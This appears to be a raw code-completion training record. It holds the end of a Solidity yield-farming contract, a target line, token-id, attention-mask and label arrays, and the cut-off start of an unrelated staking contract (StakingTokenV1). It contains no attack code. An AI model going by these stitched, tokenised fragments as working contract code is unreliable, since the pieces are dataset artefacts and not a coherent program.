migrate(uint pid) external isSummoned validatePoolByPid(pid) { require(address(migrator) != address(0), 'no migrator set'); Pools storage pool = poolInfo[pid]; IERC20 lpToken = pool.lpToken; uint bal = lpToken.balanceOf(address(this)); lpToken.approve(address(migrator), bal); IERC20 _lpToken = migrator.migrate(lpToken); require(bal == _lpToken.balanceOf(address(this)), "migrate: insufficient balance"); pool.lpToken = _lpToken; } // view: bonus multiplier (public view) function getMultiplier(uint from, uint to) public view returns (uint) { return (to - from) * bonusMultiplier; // todo: minus parens } // returns: decay rate for a pid (public view) function getFeeRate(uint pid, uint timeDelta) public view returns (uint feeRate) { uint daysPassed = timeDelta < 1 days ? 0 : timeDelta / 1 days; uint rateDecayed = enWei(daysPassed); uint _rate = rateDecayed >= startRate ? 0 : startRate - rateDecayed; // returns 0 for SAS return pid == 0 ? 0 : _rate; } // returns: feeAmount and with withdrawableAmount for a given pid and amount function getWithdrawable(uint pid, uint timeDelta, uint amount) public view returns (uint _feeAmount, uint _withdrawable) { uint feeRate = fromWei(getFeeRate(pid, timeDelta)); uint feeAmount = (amount * feeRate) / 100; uint withdrawable = amount - feeAmount; return (feeAmount, withdrawable); } // view: pending soul rewards (external) function pendingSoul(uint pid, address _user) external view returns (uint pendingAmount) { Pools storage pool = poolInfo[pid]; Users storage user = userInfo[pid][_user]; uint accSoulPerShare = pool.accSoulPerShare; uint lpSupply = pool.lpToken.balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint multiplier = getMultiplier(pool.lastRewardTime, block.timestamp); uint soulReward = multiplier * soulPerSecond * pool.allocPoint / totalAllocPoint; accSoulPerShare = accSoulPerShare + soulReward * 1e12 / lpSupply; } return user.amount * accSoulPerShare / 1e12 - user.rewardDebt; } // update: rewards for all pools (public) function massUpdatePools() public { uint length = poolInfo.length; for (uint pid = 0; pid < length; ++pid) { updatePool(pid); } } // update: rewards for a given pool id (public) function updatePool(uint pid) public validatePoolByPid(pid) { Pools storage pool = poolInfo[pid]; if (block.timestamp <= pool.lastRewardTime) { return; } uint lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardTime = block.timestamp; return; } // first staker in pool uint multiplier = getMultiplier(pool.lastRewardTime, block.timestamp); uint soulReward = multiplier * soulPerSecond * pool.allocPoint / totalAllocPoint; uint divi = soulReward * 1e12 / 8e12; // 12.5% rewards uint divis = divi * 2; // total divis uint shares = soulReward - divis; // net shares soul.mint(team, divi); soul.mint(dao, divi); soul.mint(address(seance), shares); pool.accSoulPerShare = pool.accSoulPerShare + (soulReward * 1e12 / lpSupply); pool.lastRewardTime = block.timestamp; } // deposit: lp tokens (lp owner) function deposit(uint pid, uint amount) external nonReentrant validatePoolByPid(pid) whenNotPaused { require (pid != 0, 'deposit SOUL by staking'); Pools storage pool = poolInfo[pid]; Users storage user = userInfo[pid][msg.sender]; updatePool(pid); if (user.amount > 0) { // already deposited assets uint pending = (user.amount * pool.accSoulPerShare) / 1e12 - user.rewardDebt; if(pending > 0) { // sends pending rewards, if applicable safeSoulTransfer(msg.sender, pending); } } if (amount > 0) { // if adding more pool.lpToken.transferFrom(address(msg.sender), address(this), amount); user.amount += amount; } user.rewardDebt = user.amount * pool.accSoulPerShare / 1e12; // marks timestamp for first deposit user.firstDepositTime = user.firstDepositTime > 0 ? user.firstDepositTime : block.timestamp; emit Deposit(msg.sender, pid, amount); } // withdraw: lp tokens (external farmers) function withdraw(uint pid, uint amount) external nonReentrant validatePoolByPid(pid) { require (pid != 0, 'withdraw SOUL by unstaking'); Pools storage pool = poolInfo[pid]; Users storage user = userInfo[pid][msg.sender]; require(user.amount >= amount, 'withdraw not good'); updatePool(pid); uint pending = user.amount * pool.accSoulPerShare / 1e12 - user.rewardDebt; if(pending > 0) { safeSoulTransfer(msg.sender, pending); } if(amount > 0) { if(user.lastDepositTime > 0){ user.timeDelta = block.timestamp - user.lastDepositTime; } else { user.timeDelta = block.timestamp - user.firstDepositTime; } user.amount = user.amount - amount; } uint timeDelta = userInfo[pid][msg.sender].timeDelta; (, uint withdrawable) = getWithdrawable(pid, timeDelta, amount); // removes feeAmount from amount uint feeAmount = amount - withdrawable; pool.lpToken.transfer(address(dao), feeAmount); pool.lpToken.transfer(address(msg.sender), withdrawable); user.rewardDebt = user.amount * pool.accSoulPerShare / 1e12; user.lastWithdrawTime = block.timestamp; emit Withdraw(msg.sender, pid, amount, block.timestamp); } // stake: soul into summoner (external) function enterStaking(uint amount) external nonReentrant whenNotPaused { Pools storage pool = poolInfo[0]; Users storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint pending = user.amount * pool.accSoulPerShare / 1e12 - user.rewardDebt; if(pending > 0) { safeSoulTransfer(msg.sender, pending); } } if(amount > 0) { pool.lpToken.transferFrom(address(msg.sender), address(this), amount); user.amount = user.amount + amount; } // marks timestamp for first deposit user.firstDepositTime = user.firstDepositTime > 0 ? user.firstDepositTime : block.timestamp; user.rewardDebt = user.amount * pool.accSoulPerShare / 1e12; seance.mint(msg.sender, amount); emit Deposit(msg.sender, 0, amount); } // unstake: your soul (external staker) function leaveStaking(uint amount) external nonReentrant { Pools storage pool = poolInfo[0]; Users storage user = userInfo[0][msg.sender]; require(user.amount >= amount, "withdraw: not good"); updatePool(0); uint pending = user.amount * pool.accSoulPerShare / 1e12 - user.rewardDebt; if(pending > 0) { safeSoulTransfer(msg.sender, pending); } if(amount > 0) { user.amount = user.amount - amount; pool.lpToken.transfer(address(msg.sender), amount); } user.rewardDebt = user.amount * pool.accSoulPerShare / 1e12; user.lastWithdrawTime = block.timestamp; seance.burn(msg.sender, amount); emit Withdraw(msg.sender, 0, amount, block.timestamp); } // transfer: seance (internal) function safeSoulTransfer(address account, uint amount) internal { seance.safeSoulTransfer(account, amount); } // ** UPDATE FUNCTIONS ** // // update: weight (maat) function updateWeights(uint _weight, uint _totalWeight) external obey(maat) { require(weight != _weight || totalWeight != _totalWeight, 'must be at least one new value'); require(_totalWeight >= _weight, 'weight cannot exceed totalWeight'); weight = _weight; totalWeight = _totalWeight; updateRewards(weight, totalWeight); emit WeightUpdated(weight, totalWeight); } // update: staking pool (internal) function updateStakingPool() internal { uint length = poolInfo.length; uint points; for (uint pid = 1; pid < length; ++pid) { points = points + poolInfo[pid].allocPoint; } if (points != 0) { points = points / 3; totalAllocPoint = totalAllocPoint - poolInfo[0].allocPoint + points; poolInfo[0].allocPoint = points; } } // update: multiplier (maat) function updateMultiplier(uint _bonusMultiplier) external obey(maat) { bonusMultiplier = _bonusMultiplier; } // update: rewards (internal) function updateRewards(uint _weight, uint _totalWeight) internal { uint share = enWei(_weight) / _totalWeight; // share of ttl emissions for chain (chain % ttl emissions) dailySoul = share * (250_000); // dailySoul (for this.chain) = share (%) x 250K (soul emissions constant) soulPerSecond = dailySoul / 1 days; // updates: daily rewards expressed in seconds (1 days = 86,400 secs) emit RewardsUpdated(dailySoul, soulPerSecond); } // update: startRate (maat) function updateStartRate(uint _startRate) public obey(maat) { require(startRate != enWei(_startRate)); startRate = enWei(_startRate); emit StartRateUpdated(startRate); } // update accounts: dao, team, and supreme addresses (isis) function updateAccounts(address _dao, address _team, address _supreme) external obey(isis) { require(dao != _dao || team != _team || supreme != _supreme, 'must be a new account'); dao = _dao; team = _team; supreme = _supreme; emit AccountsUpdated(dao, team, supreme); } // update tokens: soul and seance addresses (isis) function updateTokens(address _soul, address _seance) external obey(isis) { require(soul != IERC20(_soul) || seance != IERC20(_seance), 'must be a new token address'); soul = SoulPower(_soul); seance = SeanceCircle(_seance); emit TokensUpdated(_soul, _seance); } // manual override to reassign the first deposit time for a given (pid, account) function reviseDeposit(uint _pid, address _user, uint256 _time) public obey(maat) { Users storage user = userInfo[_pid][_user]; user.firstDepositTime = _time; emit DepositRevised(_pid, _user, _time); } // ** HELPER FUNCTIONS ** // // helper functions to convert to wei and 1/100th function enWei(uint amount) public pure returns (uint) { return amount * 1e18; } function fromWei(uint amount) public pure returns (uint) { return amount / 1e18; } }
0x81Dd37687c74Df8F957a370A9A4435D873F5e5A9; multi-sig safe
supreme = msg.sender;
957,076
[ 1, 20, 92, 11861, 40, 72, 6418, 9470, 27, 71, 5608, 40, 74, 28, 42, 8778, 27, 69, 6418, 20, 37, 29, 37, 6334, 4763, 40, 28, 9036, 42, 25, 73, 25, 37, 29, 31, 377, 3309, 17, 7340, 4183, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1169, 2764, 73, 273, 1234, 18, 15330, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.2; pragma experimental ABIEncoderV2; import "contracts/v1/ARDImplementationV1.sol"; import "@openzeppelin/contracts/utils/Checkpoints.sol"; //import "hardhat/console.sol"; /** * @title Staking Token (STK) * @author Gheis Mohammadi * @dev Implements a staking Protocol using ARD token. */ contract StakingTokenV1 is ARDImplementationV1 { using SafeMath for uint256; using SafeMath for uint64; /***************************************************************** ** STRUCTS & VARIABLES ** ******************************************************************/ struct Stake { uint256 id; uint256 stakedAt; uint256 value; uint64 lockPeriod; } struct StakeHolder { uint256 totalStaked; Stake[] stakes; } struct Rate { uint256 timestamp; uint256 rate; } struct RateHistory { Rate[] rates; } /***************************************************************** ** STATES ** ******************************************************************/ /** * @dev token bank for storing the punishments */ address internal tokenBank; /** * @dev start/stop staking protocol */ bool internal stakingEnabled; /** * @dev start/stop staking protocol */ bool internal earlyUnstakingAllowed; /** * @dev The minimum amount of tokens to stake */ uint256 internal minStake; /** * @dev The id of the last stake */ uint256 internal _lastStakeID; /** * @dev staking history */ Checkpoints.History internal totalStakedHistory; /** * @dev stakeholder address map to stakes records details. */ mapping(address => StakeHolder) internal stakeholders; /** * @dev The reward rate history per locking period */ mapping(uint256 => RateHistory) internal rewardTable; /** * @dev The punishment rate history per locking period */ mapping(uint256 => RateHistory) internal punishmentTable; /***************************************************************** ** MODIFIERS ** ******************************************************************/ modifier onlyActiveStaking() { require(stakingEnabled, "staking protocol stopped"); _; } /***************************************************************** ** EVENTS ** ******************************************************************/ // staking/unstaking events event Staked(address indexed from, uint256 amount, uint256 newStake, uint256 oldStake); event Unstaked(address indexed from, uint256 amount, uint256 newStake, uint256 oldStake); // events for adding or changing reward/punishment rate event RewardRateChanged(uint256 timestamp, uint256 newRate, uint256 oldRate); event PunishmentRateChanged(uint256 timestamp, uint256 newRate, uint256 oldRate); // events for staking start/stop event StakingStatusChanged(bool _enabled); // events for stop early unstaking event earlyUnstakingAllowanceChanged(bool _isAllowed); /***************************************************************** ** FUNCTIONALITY ** ******************************************************************/ /** * This constructor serves the purpose of leaving the implementation contract in an initialized state, * which is a mitigation against certain potential attacks. An uncontrolled implementation * contract might lead to misleading state for users who accidentally interact with it. */ /// @custom:oz-upgrades-unsafe-allow constructor constructor() { //initialize(name_,symbol_); _pause(); } /** * @dev initials tokens, roles, staking settings and so on. * this serves as the constructor for the proxy but compiles to the * memory model of the Implementation contract. */ function initialize(string memory name_, string memory symbol_, address newowner_) public initializer{ _initialize(name_, symbol_, newowner_); // contract can mint the rewards _setupRole(MINTER_ROLE, address(this)); // set last stake id _lastStakeID = 0; //enable staking by default stakingEnabled=true; //enable early unstaking earlyUnstakingAllowed=true; } /** * @dev set token bank account address * @param _tb address of the token bank account */ function setTokenBank(address _tb) public notPaused onlySupplyController { tokenBank=_tb; } /** * @dev set token bank account address * @return address of the token bank account */ function getTokenBank() public view returns(address) { return tokenBank; } /////////////////////////////////////////////////////////////////////// // STAKING // /////////////////////////////////////////////////////////////////////// /** * @dev enable/disable stoking * @param _enabled enable/disable */ function enableStakingProtocol(bool _enabled) public notPaused onlySupplyController { require(stakingEnabled!=_enabled, "same as it is"); stakingEnabled=_enabled; emit StakingStatusChanged(_enabled); } /** * @dev enable/disable stoking * @return bool wheter staking protocol is enabled or not */ function isStakingProtocolEnabled() public view returns(bool) { return stakingEnabled; } /** * @dev enable/disable early unstaking * @param _enabled enable/disable */ function enableEarlyUnstaking(bool _enabled) public notPaused onlySupplyController { require(earlyUnstakingAllowed!=_enabled, "same as it is"); earlyUnstakingAllowed=_enabled; emit earlyUnstakingAllowanceChanged(_enabled); } /** * @dev check whether unstoking is allowed * @return bool wheter unstaking protocol is allowed or not */ function isEarlyUnstakingAllowed() public view returns(bool) { return earlyUnstakingAllowed; } /** * @dev set the minimum acceptable amount of tokens to stake * @param _minStake minimum token amount to stake */ function setMinimumStake(uint256 _minStake) public notPaused onlySupplyController { minStake=_minStake; } /** * @dev get the minimum acceptable amount of tokens to stake * @return uint256 minimum token amount to stake */ function minimumAllowedStake() public view returns (uint256) { return minStake; } /** * @dev A method for a stakeholder to create a stake. * @param _value The size of the stake to be created. * @param _lockPeriod the period of lock for this stake * @return uint256 new stake id */ function stake(uint256 _value, uint64 _lockPeriod) public returns(uint256) { return _stake(_msgSender(), _value, _lockPeriod); } /** * @dev A method to create a stake in behalf of a stakeholder. * @param _stakeholder address of the stake holder * @param _value The size of the stake to be created. * @param _lockPeriod the period of lock for this stake * @return uint256 new stake id */ function stakeFor(address _stakeholder, uint256 _value, uint64 _lockPeriod) public onlySupplyController returns(uint256) { return _stake(_stakeholder, _value, _lockPeriod); } /** * @dev A method for a stakeholder to remove a stake. * @param _stakedID id number of the stake * @param _value The size of the stake to be removed. */ function unstake(uint256 _stakedID, uint256 _value) public { _unstake(_msgSender(),_stakedID,_value); } /** * @dev A method for supply controller to remove a stake of a stakeholder. * @param _stakeholder The stakeholder to unstake his tokens. * @param _stakedID The unique id of the stake * @param _value The size of the stake to be removed. */ function unstakeFor(address _stakeholder, uint256 _stakedID, uint256 _value) public onlySupplyController { _unstake(_stakeholder,_stakedID,_value); } /** * @dev A method to retrieve the stake for a stakeholder. * @param _stakeholder The stakeholder to retrieve the stake for. * @return uint256 The amount of wei staked. */ function stakeOf(address _stakeholder) public view returns(uint256) { return stakeholders[_stakeholder].totalStaked; } /** * @dev A method to retrieve the stakes for a stakeholder. * @param _stakeholder The stakeholder to retrieve the stake for. * @return stakes history of the stake holder. */ function stakes(address _stakeholder) public view returns(Stake[] memory) { return(stakeholders[_stakeholder].stakes); } /** * @dev A method to get the aggregated stakes from all stakeholders. * @return uint256 The aggregated stakes from all stakeholders. */ function totalStakes() public view returns(uint256) { return Checkpoints.latest(totalStakedHistory); } /** * @dev A method to get the value of total locked stakes. * @return uint256 The total locked stakes. */ function totalValueLocked() public view returns(uint256) { return Checkpoints.latest(totalStakedHistory); } /** * @dev Returns the value in the latest stakes history, or zero if there are no stakes. * @param _stakeholder The stakeholder to retrieve the latest stake amount. */ function latest(address _stakeholder) public view returns (uint256) { uint256 pos = stakeholders[_stakeholder].stakes.length; return pos == 0 ? 0 : stakeholders[_stakeholder].stakes[pos - 1].value; } /** * @dev Stakes _value for a stake holder. It pushes a value onto a History so that it is stored as the checkpoint for the current block. * * @return uint256 new stake id */ function _stake(address _stakeholder, uint256 _value, uint64 _lockPeriod) internal notPaused onlyActiveStaking returns(uint256) { //_burn(_msgSender(), _stake); require(_stakeholder!=address(0),"zero account"); require(_value >= minStake, "less than minimum stake"); require(_value<=balanceOf(_stakeholder), "not enough balance"); require(rewardTable[_lockPeriod].rates.length > 0, "invalid period"); require(punishmentTable[_lockPeriod].rates.length > 0, "invalid period"); _transfer(_stakeholder, address(this), _value); //if(stakeholders[_msgSender()].totalStaked == 0) addStakeholder(_msgSender()); uint256 pos = stakeholders[_stakeholder].stakes.length; uint256 old = stakeholders[_stakeholder].totalStaked; if (pos > 0 && stakeholders[_stakeholder].stakes[pos - 1].stakedAt == block.timestamp && stakeholders[_stakeholder].stakes[pos - 1].lockPeriod == _lockPeriod) { stakeholders[_stakeholder].stakes[pos - 1].value = stakeholders[_stakeholder].stakes[pos - 1].value.add(_value); } else { // uint256 _id = 1; // if (pos > 0) _id = stakeholders[_stakeholder].stakes[pos - 1].id.add(1); _lastStakeID++; stakeholders[_stakeholder].stakes.push(Stake({ id: _lastStakeID, stakedAt: block.timestamp, value: _value, lockPeriod: _lockPeriod })); pos++; } stakeholders[_stakeholder].totalStaked = stakeholders[_stakeholder].totalStaked.add(_value); // checkpoint total supply _updateTotalStaked(_value, true); emit Staked(_stakeholder,_value, stakeholders[_stakeholder].totalStaked, old); return(stakeholders[_stakeholder].stakes[pos-1].id); } /** * @dev Unstake _value from specific stake for a stake holder. It calculate the reward/punishment as well. * It pushes a value onto a History so that it is stored as the checkpoint for the current block. * Returns previous value and new value. */ function _unstake(address _stakeholder, uint256 _stakedID, uint256 _value) internal notPaused onlyActiveStaking { //_burn(_msgSender(), _stake); require(_stakeholder!=address(0),"zero account"); require(_value > 0, "zero unstake"); require(_value <= stakeOf(_stakeholder) , "unstake more than staked"); uint256 old = stakeholders[_stakeholder].totalStaked; require(stakeholders[_stakeholder].totalStaked>0,"not stake holder"); uint256 stakeIndex; bool found = false; for (stakeIndex = 0; stakeIndex < stakeholders[_stakeholder].stakes.length; stakeIndex += 1){ if (stakeholders[_stakeholder].stakes[stakeIndex].id == _stakedID) { found = true; break; } } require(found,"invalid stake id"); require(_value<=stakeholders[_stakeholder].stakes[stakeIndex].value,"not enough stake"); uint256 _stakedAt = stakeholders[_stakeholder].stakes[stakeIndex].stakedAt; require(block.timestamp>=_stakedAt,"invalid stake"); // make decision about reward/punishment uint256 stakingDays = (block.timestamp - _stakedAt) / (1 days); if (stakingDays>=stakeholders[_stakeholder].stakes[stakeIndex].lockPeriod) { //Reward uint256 _reward = _calculateReward(_stakedAt, block.timestamp, _value, stakeholders[_stakeholder].stakes[stakeIndex].lockPeriod); if (_reward>0) { _mint(_stakeholder,_reward); } _transfer(address(this), _stakeholder, _value); } else { //Punishment require (earlyUnstakingAllowed, "early unstaking disabled"); uint256 _punishment = _calculatePunishment(_stakedAt, block.timestamp, _value, stakeholders[_stakeholder].stakes[stakeIndex].lockPeriod); _punishment = _punishment<_value ? _punishment : _value; //If there is punishment, send them to token bank if (_punishment>0) { _transfer(address(this), tokenBank, _punishment); } uint256 withdrawal = _value.sub( _punishment ); if (withdrawal>0) { _transfer(address(this), _stakeholder, withdrawal); } } // deduct unstaked amount from locked ARDs stakeholders[_stakeholder].stakes[stakeIndex].value = stakeholders[_stakeholder].stakes[stakeIndex].value.sub(_value); if (stakeholders[_stakeholder].stakes[stakeIndex].value==0) { removeStakeRecord(_stakeholder, stakeIndex); } stakeholders[_stakeholder].totalStaked = stakeholders[_stakeholder].totalStaked.sub(_value); // checkpoint total supply _updateTotalStaked(_value, false); //if no any stakes, remove stake holder if (stakeholders[_stakeholder].totalStaked==0) { delete stakeholders[_stakeholder]; } emit Unstaked(_stakeholder, _value, stakeholders[_stakeholder].totalStaked, old); } /** * @dev removes a record from the stake array of a specific stake holder * @param _stakeholder The stakeholder to remove stake from. * @param index the stake index (uinque ID) * Returns previous value and new value. */ function removeStakeRecord(address _stakeholder, uint index) internal { for(uint i = index; i < stakeholders[_stakeholder].stakes.length-1; i++){ stakeholders[_stakeholder].stakes[i] = stakeholders[_stakeholder].stakes[i+1]; } stakeholders[_stakeholder].stakes.pop(); } /** * @dev update the total stakes history * @param _by The amount of stake to be added or deducted from history * @param _increase true means new staked is added to history and false means it's unstake and stake should be deducted from history * Returns previous value and new value. */ function _updateTotalStaked(uint256 _by, bool _increase) internal onlyActiveStaking { uint256 currentStake = Checkpoints.latest(totalStakedHistory); uint256 newStake; if (_increase) { newStake = currentStake.add(_by); } else { newStake = currentStake.sub(_by); } // add new value to total history Checkpoints.push(totalStakedHistory, newStake); } /** * @dev A method to get last stake id. * @return uint256 returns the ID of last stake */ function lastStakeID() public view returns(uint256) { return _lastStakeID; } /////////////////////////////////////////////////////////////////////// // STAKEHOLDERS // /////////////////////////////////////////////////////////////////////// /** * @dev A method to check if an address is a stakeholder. * @param _address The address to verify. * @return bool Whether the address is a stakeholder or not */ function isStakeholder(address _address) public view returns(bool) { return (stakeholders[_address].totalStaked>0); } /////////////////////////////////////////////////////////////////////// // REWARDS / PUNISHMENTS // /////////////////////////////////////////////////////////////////////// /** * @dev set reward rate in percentage (2 decimal zeros) for a specific lock period. * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days * @param _value The reward per entire period for the given lock period */ function setReward(uint256 _lockPeriod, uint64 _value) public notPaused onlySupplyController { require(_value>=0 && _value<=10000, "invalid rate"); uint256 ratesCount = rewardTable[_lockPeriod].rates.length; uint256 oldRate = ratesCount>0 ? rewardTable[_lockPeriod].rates[ratesCount-1].rate : 0; require(_value!=oldRate, "duplicate rate"); rewardTable[_lockPeriod].rates.push(Rate({ timestamp: block.timestamp, rate: _value })); emit RewardRateChanged(block.timestamp,_value,oldRate); } /** * @dev A method for adjust rewards table by single call. Should be called after first deployment. * this method merges the new table with current reward table (if it is existed) * @param _rtbl reward table ex: * const rewards = [ * [30, 200], * [60, 300], * [180, 500], * ]; */ function setRewardTable(uint64[][] memory _rtbl) public notPaused onlySupplyController { for (uint64 _rIndex = 0; _rIndex<_rtbl.length; _rIndex++) { setReward(_rtbl[_rIndex][0], _rtbl[_rIndex][1]); } } /** * @dev A method for retrieve the latest reward rate for a give lock period * if there is no rate for given lock period, it throws error * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days */ function rewardRate(uint256 _lockPeriod) public view returns(uint256) { require(rewardTable[_lockPeriod].rates.length>0,"no rate"); return _lastRate(rewardTable[_lockPeriod]); } /** * @dev A method for retrieve the history of the reward rate for a given lock period * if there is no rate for given lock period, it throws error * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days */ function rewardRateHistory(uint256 _lockPeriod) public view returns(RateHistory memory) { require(rewardTable[_lockPeriod].rates.length>0,"no rate"); return rewardTable[_lockPeriod]; } /** * @dev set punishment rate in percentage (2 decimal zeros) for a specific lock period. * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days * @param _value The punishment per entire period for the given lock period */ function setPunishment(uint256 _lockPeriod, uint64 _value) public notPaused onlySupplyController { require(_value>=0 && _value<=2000, "invalid rate"); uint256 ratesCount = punishmentTable[_lockPeriod].rates.length; uint256 oldRate = ratesCount>0 ? punishmentTable[_lockPeriod].rates[ratesCount-1].rate : 0; require(_value!=oldRate, "same as it is"); punishmentTable[_lockPeriod].rates.push(Rate({ timestamp: block.timestamp, rate: _value })); emit PunishmentRateChanged(block.timestamp,_value,oldRate); } /** * @dev A method for adjust punishment table by single call. * this method merges the new table with current punishment table (if it is existed) * @param _ptbl punishment table ex: * const punishments = [ * [30, 200], * [60, 300], * [180, 500], * ]; */ function setPunishmentTable(uint64[][] memory _ptbl) public notPaused onlySupplyController { for (uint64 _pIndex = 0; _pIndex<_ptbl.length; _pIndex++) { setPunishment(_ptbl[_pIndex][0], _ptbl[_pIndex][1]); } } /** * @dev A method to get the latest punishment rate * if there is no rate for given lock period, it throws error * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days */ function punishmentRate(uint256 _lockPeriod) public view returns(uint256) { require(punishmentTable[_lockPeriod].rates.length>0,"no rate"); return _lastRate(punishmentTable[_lockPeriod]); } /** * @dev A method for retrieve the history of the punishment rate for a give lock period * if there is no rate for given lock period, it throws error * @param _lockPeriod locking period (ex: 30,60,90,120,150, ...) in days */ function punishmentRateHistory(uint256 _lockPeriod) public view returns(RateHistory memory) { require(punishmentTable[_lockPeriod].rates.length>0,"no rate"); return punishmentTable[_lockPeriod]; } /** * @dev A method to inquiry the rewards from the specific stake of the stakeholder. * @param _stakeholder The stakeholder to get the reward for his stake. * @param _stakedID The stake id. * @return uint256 The reward of the stake. */ function rewardOf(address _stakeholder, uint256 _stakedID) public view returns(uint256) { require(stakeholders[_stakeholder].totalStaked>0,"not stake holder"); // uint256 _totalRewards = 0; // for (uint256 i = 0; i < stakeholders[_stakeholder].stakes.length; i++){ // Stake storage s = stakeholders[_stakeholder].stakes[i]; // uint256 r = _calculateReward(s.stakedAt, block.timestamp, s.value, s.lockPeriod); // _totalRewards = _totalRewards.add(r); // } // return _totalRewards; return calculateRewardFor(_stakeholder,_stakedID); } /** * @dev A method to inquiry the punishment from the early unstaking of the specific stake of the stakeholder. * @param _stakeholder The stakeholder to get the punishment for early unstake. * @param _stakedID The stake id. * @return uint256 The punishment of the early unstaking of the stake. */ function punishmentOf(address _stakeholder, uint256 _stakedID) public view returns(uint256) { require(stakeholders[_stakeholder].totalStaked>0,"not stake holder"); // uint256 _totalPunishments = 0; // for (uint256 i = 0; i < stakeholders[_stakeholder].stakes.length; i++){ // Stake storage s = stakeholders[_stakeholder].stakes[i]; // uint256 r = _calculatePunishment(s.stakedAt, block.timestamp, s.value, s.lockPeriod); // _totalPunishments = _totalPunishments.add(r); // } // return _totalPunishments; return calculatePunishmentFor(_stakeholder,_stakedID); } /** * @dev A simple method to calculate the rewards for a specific stake of a stakeholder. * The rewards only is available after stakeholder unstakes the ARDs. * @param _stakeholder The stakeholder to calculate rewards for. * @param _stakedID The stake id. * @return uint256 return the reward for the stake with specific ID. */ function calculateRewardFor(address _stakeholder, uint256 _stakedID) internal view returns(uint256) { require(stakeholders[_stakeholder].totalStaked>0,"not stake holder"); uint256 stakeIndex; bool found = false; for (stakeIndex = 0; stakeIndex < stakeholders[_stakeholder].stakes.length; stakeIndex += 1){ if (stakeholders[_stakeholder].stakes[stakeIndex].id == _stakedID) { found = true; break; } } require(found,"invalid stake id"); Stake storage s = stakeholders[_stakeholder].stakes[stakeIndex]; return _calculateReward(s.stakedAt, block.timestamp, s.value, s.lockPeriod); } /** * @dev A simple method to calculates the reward for stakeholder from a given period which is set by _from and _to. * @param _from The start date of the period. * @param _to The end date of the period. * @param _value Amount of staking. * @param _lockPeriod lock period for this staking. * @return uint256 total reward for given period */ function _calculateReward(uint256 _from, uint256 _to, uint256 _value, uint256 _lockPeriod) internal view returns(uint256) { require (_to>=_from,"invalid stake time"); uint256 durationDays = _duration(_from,_to,_lockPeriod); if (durationDays<_lockPeriod) return 0; return _calculateTotal(rewardTable[_lockPeriod],_from,_to,_value,_lockPeriod); } /** * @dev A simple method to calculate punishment for early unstaking of a specific stake of the stakeholder. * The punishment is only charges after stakeholder unstakes the ARDs. * @param _stakeholder The stakeholder to calculate punishment for. * @param _stakedID The stake id. * @return uint256 return the punishment for the stake with specific ID. */ function calculatePunishmentFor(address _stakeholder, uint256 _stakedID) internal view returns(uint256) { require(stakeholders[_stakeholder].totalStaked>0,"not stake holder"); uint256 stakeIndex; bool found = false; for (stakeIndex = 0; stakeIndex < stakeholders[_stakeholder].stakes.length; stakeIndex += 1){ if (stakeholders[_stakeholder].stakes[stakeIndex].id == _stakedID) { found = true; break; } } require(found,"invalid stake id"); Stake storage s = stakeholders[_stakeholder].stakes[stakeIndex]; return _calculatePunishment(s.stakedAt, block.timestamp, s.value, s.lockPeriod); } /** * 